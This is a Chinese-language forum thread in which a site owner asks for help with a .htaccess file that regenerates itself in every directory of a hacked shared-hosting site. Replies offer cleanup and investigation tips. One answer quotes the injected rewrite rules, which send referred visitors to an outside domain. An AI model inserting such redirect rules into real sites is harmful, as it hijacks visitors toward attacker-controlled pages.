求助网站被注入文件

Question

网站用的是虚拟空间
每个目录下都被生成一个.htaccess
过5分钟就会自动判断是否还存在 不存在就又生成我快崩溃了 怎么删都删不掉了.htaccess文件里自动转向一个网站 然后再转向GOOGLE求助各位

Answer 1

.htaccess内容RewriteEngine On
RewriteCond %{HTTP_REFERER} ^http://
RewriteCond %{HTTP_REFERER} !%{HTTP_HOST}
RewriteRule . http://yagizmo.com/%{REMOTE_ADDR}

Answer 2

服务器不是自己的，如果是的话可以修改apache配置，不让使用.htaccess

Answer 3

问题服务器不是自己的 是租的虚拟空间不停的生成.htaccess文件啊现在就是不知道怎么样生成的 网站的所有目录下都有这个文件我删了以后过5分钟肯定又重新自动生成

Answer 4

有个比较笨的方法，暂时可以解决。你把.htaccess文件的内容清空

Answer 5

如果确定是你文件中被插入了恶意代码，就用FTP把你网站上所有程序文件下载下来，搜索关键字比如htaccess，看看到底恶意代码在哪里，进行相应修改。

Answer 6

先修改文件夹权限吧...
 很有可能是你的哪个index页面上带有...就公共文件带有恶意代码.多检查..

Answer 7

第一，检查数据库，搜索关键字.htaccess RewriteEngine On等，看看代码是不是在数据库，是的话就根据表找相关PHP文件，打打上补丁，不排除是SQL注入。第二，如果数据库检查不到，考虑的文件太大，可以写一个PHP，传上去，用这个程序把你空间的所有PHP文件(最好不要放过任何文本文件)都复制到一个文件夹里面，然后下载这个文件夹都本地，查找关键字.htaccess RewriteEngine On 等，查到后删除打上补丁。第三，不排除你查不到那几个关键字，因为那几个关键字有可能被函数转成其它字符串，以防你查关键字来杀代码，这个有点棘手，目前我不知道怎么办，如果代码是自己写的还好。第四，不排除跨站攻击，这个就得找空间商解决了，除非你入侵服务器

Answer 8

是不是给人上传php代码文件了。